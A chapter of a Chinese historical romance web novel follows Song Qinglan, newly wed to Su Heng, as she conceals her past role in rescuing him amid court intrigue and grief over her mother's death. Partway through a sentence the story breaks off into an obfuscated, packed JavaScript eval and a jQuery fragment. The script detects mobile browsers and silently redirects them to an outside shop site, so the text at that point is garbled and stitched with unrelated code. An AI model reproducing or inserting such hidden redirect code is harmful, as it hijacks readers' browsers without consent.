宋清兰随着苏恒出了主院,穿过游廊来到了后院的花厅。
苏恒在前面一言不发,宋清兰在后面紧紧跟着想着说些什么缓解气氛。
这好不容易见一面,宋清兰还是想把当日的误会说清楚,要是被苏恒当成丞相指使宋府送来的奸细就不好了。
忽地,苏恒转过身来,宋清兰低头并未注意他苏恒的动作,差点扑进对方怀里。
宋清兰稳住身子仰头看苏恒,此时一阵风拂过,日光透过海棠枝桠在他脸上留下点点亮光。
常年的征战原使他身上有种肃杀之感,但此刻的微风此刻的暖阳显得他倒像一位温润公子,这般好颜色,看一眼都让人如沐春风。
不得不说,苏恒的长相无可挑剔。
还好宋清兰不好色,要不然苏恒中媚药那日她可把持不住。
就连宁安郡主知道他们没有发生关系都很震惊,她问宋清兰是怎么忍住不采下这朵高岭之花的。
现在好了,人没得手,宋清兰还被外面说成为了嫁入高门不择手段下药的心机女子,这可真是赔了夫人又折兵。
宋清兰静静看着苏恒,他转过身来,却又不说话,宋清兰不解,只好硬着头皮打破尴尬。
她故作镇定地问道:“世子,怎么了?”
苏恒低头看了看宋清兰的腕上的手镯说道:“今日想必是这手镯使得姑母发病,这手镯与颜妹的那只一模一样,她及笄之后一直带着,估计姑母是因这镯子将你错认成了颜妹。”
这手镯是侯府当日送来的聘礼之一,送聘礼的嬷嬷说这手镯是侯府的传家之物,原有一对,但夫人太爱护凌颜,便将其中一只作了她的及笄礼,这一只送给世子新妇。
这手镯是晴水绿的颜色,温润又不失灵动,宋清兰很喜欢,而且她想着这手镯寓意如此贵重,大婚这几日应戴上才是,没想到引得苏昭玉发病。
没等宋清兰回话,苏恒的声音再次响起:“往后,这手镯摘下来吧,免得姑母再认错人。”
听他这话,宋清兰心里有点委屈,这手镯凌颜戴得,她就戴不得,而且忠勇侯夫人当年送这个及笄礼是否存了让凌颜当世子夫人的想法呢?
可若是不摘,又显得自己多计较似的,一个手镯而已,摘了就摘了,日后戴更好看的!
宋清兰心里闷但是面上不显,还作出一脸无辜的样子回道:“竟是这个缘故,那我还是赶紧摘了吧,多谢世子告知。”
苏恒看着她将镯子摘下收进袖中,他估计是没想到对方会如此顺从,语气放缓了道:“昨日我宿在书房是因醉酒太过怕唐突了你,今日母亲教训的是,我往后会做好一个丈夫的。”
宋清兰有些不解地看着他,他就算不解释昨晚的事又能怎么样?她又不会说什么,他还说要做一个好丈夫,怎么态度转变地如此之快!
苏恒并未过多解释,而是继续向前走去,他脚步放缓对宋清兰说道:“我知那日下药之人不是你,东宫已经查清下药之人。至于外面的流言蜚语,我会想办法解决。”
宋清兰眼神一亮追到他跟前开心问道:“世子这样说是相信我无辜了?”
可苏恒眸子暗了暗,盯着宋清兰探究地问道:“我只是好奇那日你好端端的为何会离开花宴去了后院,听下人说你是为了找我,可我之前和你并不相识。”
想起来前不久关于丞相府失窃的事,宋清兰只能隐瞒真相,可什么理由才能让苏恒相信呢?
她看着苏恒,忽然装作娇羞的模样道:“那日得见世子玉容,心向往之。可我不知世子中了媚药,我看见世子挣扎的样子,还以为你出了事想要帮你呢。不过现在能和世子成婚,也算满足了清兰的心愿。”
苏恒也是没想宋清兰会说出这番话,心里有些尴尬,甩甩袖大步离去。
宋清兰看他走远赶紧深呼吸几口缓缓,京中不少女子对苏恒一见钟情,自己方才那段说辞也不是没有道理。就是这话过于羞耻了些。
芳柳看苏恒走了便赶紧跟上宋清兰,她担忧地问宋清兰为何不说清楚。
宋清兰眉头紧锁向芳柳问道:“丞相府月前失窃之事你可有耳闻?”
芳柳在大婚前经常上街采买,对于街上这声势浩荡的官差印象深刻。
她想了想道:“记得啊,说是有个贼人偷盗了府中要献给皇上的贺礼,那贼人逃跑时被射伤了左肩,追到了羽山不见了踪迹。那可是丞相,连太子都要敬三分呢——”
芳柳的话突然停了,她紧张地看着宋清兰,连说话都有些结巴道:“那贼……贼人不会就是世子吧,一月前,左肩箭伤……”
宋清兰赶紧捂住了她的嘴,做了噤声的动作。
她看了看周围没人才说道“你知道就好,可别说了,这在府中说不定还有看着你我的眼线呢,父亲这些年一直在丞相手下做事,如果真的是世子的话,我肯定不能说那日是我救了他。眼下他不怀疑我是丞相和父亲安排来侯府的探子就不错了……”
如今皇帝年事已高,虽说早就立了太子,但朝中一直有人想让皇帝另立储君。
现下声势最大的是三皇子,丞相是三皇子的舅父。太子与三皇子两股势力如同水火。
三皇子背后有丞相一党,太子身后以前还有苏恒和忠勇侯府的兵权依仗,可苏恒自从太子成婚后便扬言与太子决裂,再不问朝堂之事。
还好太子这些年一直没有出过错,要不然早就被一些朝臣联合上奏给赶出东宫了。
此次太子花宴还是因凌颜多次来侯府中央求,说是花宴另个目的就是为了让苏恒相看各府贵女,成就一段好姻缘,来弥补当年太子太子妃二人对他的愧疚。
再加上侯府夫人一直劝苏恒娶妻,苏恒这才去了花宴。
宴上苏恒一直没理会太子的问候,看起来真如传言一样二人已经决裂。
忠勇侯府的兵权对于储君来说可是如虎添翼,因此丞相这边也想拉拢,一直苦于没有机会,但宋清兰的出现带来了转机。
其实出嫁之时,宋父就已经明里暗里向她传达了丞相的意思:与苏恒做恩爱夫妻,让忠勇侯府成为三皇子的助力。
带着重重心事把侯府逛了大半,眼看日头越来越盛宋清兰便回了房中再没有出去。
晚间庭院起了风,宋清兰坐在院中想着接下来的回门。
不知道苏恒会不会和自己一起回去,如果同去就要和父亲打交道,父亲肯定会想着拉拢苏恒。
若是苏恒没去,那又会遭父亲训斥,还会遭继母和宋妙兰的讥讽。
想到这里,宋清兰叹了口气,自母亲去世后,这宋府已经慢慢变得不像宋清兰的家了。
以前于晴好没到宋府的时候,宋清兰的父母还算恩爱。可自从于晴好来了之后她的父母便经常吵架,有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943893|214016||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时候宋母会连哭一整天。
宋母去世三年后,宋父便娶了于晴好做姨娘,甚至把她的一双儿女过继到了宋府,做了宋府的少爷小姐。
宋母去世前宋清兰过得虽不是大富大贵的日子,但也是衣食无忧。自那之后,所有的好东西宋父都是先紧着于晴好母子三人,仿佛宋清兰才是个外人。就连冬日里的炭火和冬衣都会短缺。
这次嫁给了苏恒,宋父才对宋清兰说了些好话。可是现在的宋父有几分可信呢?
苏恒那日中的毒是来自丞相府,宋父很久以前就跟随丞相,那毒害死了宋清兰的母亲,宋清兰不信她父亲什么都不知道?
宋母去世时她只有十岁,那时她不理解宋父的做法,没有报官,没有追查,只是在府里草草地就把丧事办了。甚至当时她说一句要报官的话都要被宋父冷眼相对。
宋清兰的外祖家早就没了人,她的母亲是独女。当年外祖一家觉得宋父是个做官的苗子,便资助了他,并把自己的女儿许配给了他。
也是因为如此,宋清兰母亲的去世没有其他人的质疑。她只有宋清兰这一个血脉亲人。
想到这里宋清兰在不知不觉中已有泪落下。
“怎么哭了?”是苏恒的声音。
宋清兰赶紧抹去了眼泪,心虚开口谎称道:“我母亲去世多年,思及亡母未见我成婚的模样便觉悲痛。”
苏恒已查清宋清兰是无辜之人,眼前站着的只是一个爱慕自己的可怜姑娘,他安慰道:“后日便要回门,届时我可陪你一起在岳母灵前上柱香。”
宋清兰怔愣地抬头看着苏恒,他身着月白色的衣袍站在自己面前,月光洒下,更显得清俊,他那番话语也使得人心头熨烫。
宋清兰看得有些久了,苏恒无奈转身道:“夜色已深,安寝吧。”
苏恒真的如他白日所说宿在了宋清兰房中,不过真的只是安寝。
宋清兰沐浴之后躺在床上脑子里天人交战,想着接下来如何做。她在宋母去世后一直习医,当然知道阴阳交合是怎么回事。可这太过突然,她毫无准备。
可令宋清兰没想到的是苏恒从净房回来后唤下人又送来了一床被子。
好吧,这时圆房宋清兰也觉得不妥,挺好的。
身侧多了一个人使宋清兰许久没有睡意,听苏恒呼吸绵长后她才放下心转身侧躺着。
她就着朦胧的月光看着苏恒,可没想到原本睡着的苏恒突然睁开了眼,吓得宋清兰差点坐起来。
她有些尴尬的说道:“世子,你没睡着啊。”
苏恒无奈道:“你一直盯着我,我怎么睡。”
宋清兰赶紧转过身背对苏恒,说道:“世子我不看你了,你赶紧睡吧。”
苏恒被她这下搅得彻底没了睡意,他轻声问道:“你很紧张吗?”
宋清兰不知道怎么回答,说不紧张有点假了,说紧张又有点撵人的意思。
苏恒见她久不答话心里也清楚,他解释道:“我们要是分房睡,母亲肯定会知道的,到那时她肯定会劝诫你我。你要是太过紧张,我也可以搬到外间的小榻上睡。”
外间小榻狭窄寒凉,宋清兰哪里敢让苏恒睡小榻,她稳了稳心绪道:“世子,我不紧张,你赶紧睡吧。”
苏恒见她神色缓和就没再说什么。
其实这一夜,两个人都不知道自己何时睡着的。